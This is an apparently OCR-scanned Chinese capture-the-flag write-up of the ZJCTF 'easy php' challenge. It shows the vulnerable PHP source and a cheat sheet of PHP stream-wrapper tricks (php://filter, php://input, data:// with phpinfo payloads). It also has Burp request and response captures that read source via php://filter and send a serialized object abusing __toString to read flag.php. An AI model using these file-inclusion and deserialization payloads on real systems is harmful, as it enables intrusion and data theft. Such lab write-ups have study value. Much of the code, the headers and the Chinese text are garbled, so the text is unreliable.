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<?php
$text =% GET["text"];
$file=% GET["file"];
$password =% GET["password"];
if(isset(stext)&&(file get contents($text,'r')==="welcome tothezjctf")){
echo "<br><hl>".file get contents(s$text,'r')."</hl></br>";
if(preg match("/flag/",3file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password =unserialize($password);
echo $password;
}
}

else{
highlight file( FILE );

}
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file:// ==572 off/fon off/fon Hile=file://D:/soft/phpStudy MWW/ phpoode txit
php:/Hilter ==572 off/fon ofi/fon Hile=php.//filter/read=convert basebd-encode/resource=./indexphp
php://input ==52 off/fon on Hile=php./finput [POST DATA]  <?php phpinfo()?=
zZipd/ =>=52 off/on off/on Hile=zip://D.soft/phpStudy WWWAile ziph23phpoode.ixt
o Hile=compress bzip2:.//D /soft/phpStudy MWW Aile bz2
compress.bzip2.// ==52 off/on off/on [or]

Hile=compress.bzip2:.// Aile bz2
Hile=compress zlib.//D/soft/phpStudy MWW ile.az
==52 off/on offfon [or]
Hile=compress.zlib:// fHile.gz
Hile=data:/ftext/plain, <?php phpinfo{)?=
[or]
Hile=data://text/plain basetd PDOwaHAgcGhwaWSmbygpPzd=
==52 on an T
Hile=data:text/plain,<?php phpinfo)?=
[or] - e
) . [N R e
Hile=data text/plain.basefd PDAwaHAqcGhwaSmbygpied = /w2 oL

compress.zlibs/

data//

AN ELEFE, datafdaf iR, XERMR/? text=data:/text/plain;base64,d2VsY29tZSBObyB0aGUgempjdGY=, X B KI5
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Request

Response

Raw | Headers | Hex | Render

1 HTTR/1.1200 0K

Raw | Params | Headers | Hex

L GET/Prext=data: // text plain; basefd, d2VsY2512580byBRaUgenp jdav=HTTR/ 1. 1
2 Host: GBesf-4d17-42e5-33c6-d5TcT22a5245. noded buuoj. cn:&1

3 User-Agent: Nozilla/s.0 (¥11; Linux x86_&4; rv:68.0) Gecka/ 20100101 Firefox/68 6
& Becept: text/ hnl, appLicati on/ sherl+xrl, application sl a=0.9,%%; g=0.6

5 Accept-Language: zh-CH, zh; g=0.8, zh-TW;q=0.7, 2h-HE; g=0.5, en-US; g=0. 3, en; =0 2
G Aecept-Encoding: geip, deflate

7 Connection: close

© Cookie: UN_distincrid=17a47195b
9 Upgrade-Insecura-Requasts: 1

10 Pragm: no-cache

11 Cache-Control: ne-cache

12 Content-Length: &

12

n

15

15

100200- 17247195¢62¢1

>

2 Server: openresty
@ Date: Tue, 120ct 2021 12:48: 58 GNT.
& Content-Type: text/henl; charset=UTF-8
5 Content-Length: 38
& Connection: close
7 X-Powarad-By: PHP/S. 6.4
8
9 <hr=

b=

welcome to the Zictf
<thl=
</br]
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Fi & Ftuseless.php B N BXANSCHEH, H Hinclude¥ifileiX 2 $4& Auseless.php, A IX B FEEFuselessREiG, X
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Request
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Raw | Params | Headers | Hex
Le=php:// filters read=convert. base64 -encode/ resource=useless. phplHTTP/ 1.1

1 GET/Ptext=data
2 Host: Sl d ded.buuoj . cn: 81

3 User-Agent: NoziTla/5. 0 (X11; Linux x86_64; rv:68.6) Gecka/ 26160101 Firefox/ 8.0

4 e ca appLication/ il g=0.9,%% =0 .8

5 e 1 q-0.7, 2h-HIG 0.5, 2n-US; 0.3, en; =0.2

6 A rip,

7 Connection: close

2 Cookie: UN ATLIEDf 1634645 106260- 17247195¢02c 1

9 Upgrade-Insecure-Requests: 1
16 Pragm: no-cache

11 Cache-Control.: mo-cache

12 Content-Length: ¢

13

1
3
4
5
6 1,

7 Vary: hecept-Encading
& N-Powered-By: PHP/5.6.40

JrET.
-
weleome to the zjeef
<hl=
b=

iX B AT PLE Bluseless.php RIS 4 it base64 4l 1 45 5, 18 fR AL J5 SR ERJE Y

public $file;
public function __ tostring(){
if(isset($this->file)){
echo file_get contents($this
echo ;
return (

1
J

echo serialize($a);




ML _EVERS AT DU HiX B iHfileSHUE# R T, HHERfileFBEMNE, EXBEEMREFTELDL _ tosting()EXMEAR T,

fEIASRYE, BEMAEXANFEFEBWERN —ANRYMEFELE, nREIET —4aix M, REERechoa, Hikaixik

MR ER, XERESMR_ tostring(), X FEMERIE T, HMEFWIES GEIRENag.phple, #EE R RIKTEL, passwordiX
ANSEOEEAEH, FrOUXE AT ZEAR S, #iE—EAE Npassword 1S3, XA HKHZclass Flag, 48 581X NI B

1%, RIEEPfleSHEREFERKSE, FURNEEMENFRIBEREE, FHFME fag.php, &)5E Apassword#1T T
ok, FrABRATEHIE IR EFFMLEIT, REHE RIS BB passwordd, HFX—BEEMII, FEVaTmErEITHK

fileZ# & & F useless.phpHIVEE, XERERMNEHR—T, FERBRINIWERHT 2 RZuseless.php BRI, FrbARATHE E K useless.phpil
idinclude & & BIRATIAEKIPHP S #E 9 , Bl ¥ AHuseless.php.

[ Dashboard | Targer | #row | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Projectoptions | Useroptions |
ERE .

Target: http://5d8629f0-d17-425 a3c6 d57c7

1 GET/7text=data:// text/ plain; baseGd, dGY=Efile-useless. ph de:4:"Flag™: Lis:4: " File";5:8:"Flag.phe”; HTTP/ 1.1 & 1 HTTR/1.1200 0K
2 Host: SdB623f0-4d17-425- a3ck -d57cT22a5e46. noded . buua. cn: 81 r 2 Server: openrasty
3 User-Agent: Nozil1a/S.0 (11; Linux x86_64; rv:68. 0) Gecka/ 20100101 Firefox/68.0 3 Date: Tue, 120ct 2021 12: 29: 09 GHT
4 Bccept: vext/htnl, application xherlxnl, applicationtxil; g=0.9,%%; ¢=0.8 4 Content-Type: text/hunl; charset=TF-8
5 Accept-Language: zh-Cl, zh; q=0.8, 2h-Ti; =0. 7, Zh-HK; =05, en-US; g=0.3, en; q=0.2 S Content-Length: 215
6 Accept-Encading: gzip, deflate G Connection: close
7 Connection: closs 7 Wary: Accept-Encoding
4 Cookie: UM distinctid=17a47195hFc0- 0bSFdi3d802h058 - 31634645 100200 - 17a47195c02c 1 o X-Powered-By: PHP/S. 6. 40
9 Upgrade- Insecurs-Requests: 1 9
10 Pragma: no-cache 10 <br>
11 Cache-Contral: no-cache -
12 wel come to the zjetf
13 Thl=
b=

11 br=
ohufindit «br=

12

13 - -butd cant giveit tounow-->

1

15 <?php

16
17 ifta=—3){

18 return (" Flagl2fofTbbe-e497-4028-5d19 2821386261361 " )
19}
20
21 7=

2 b
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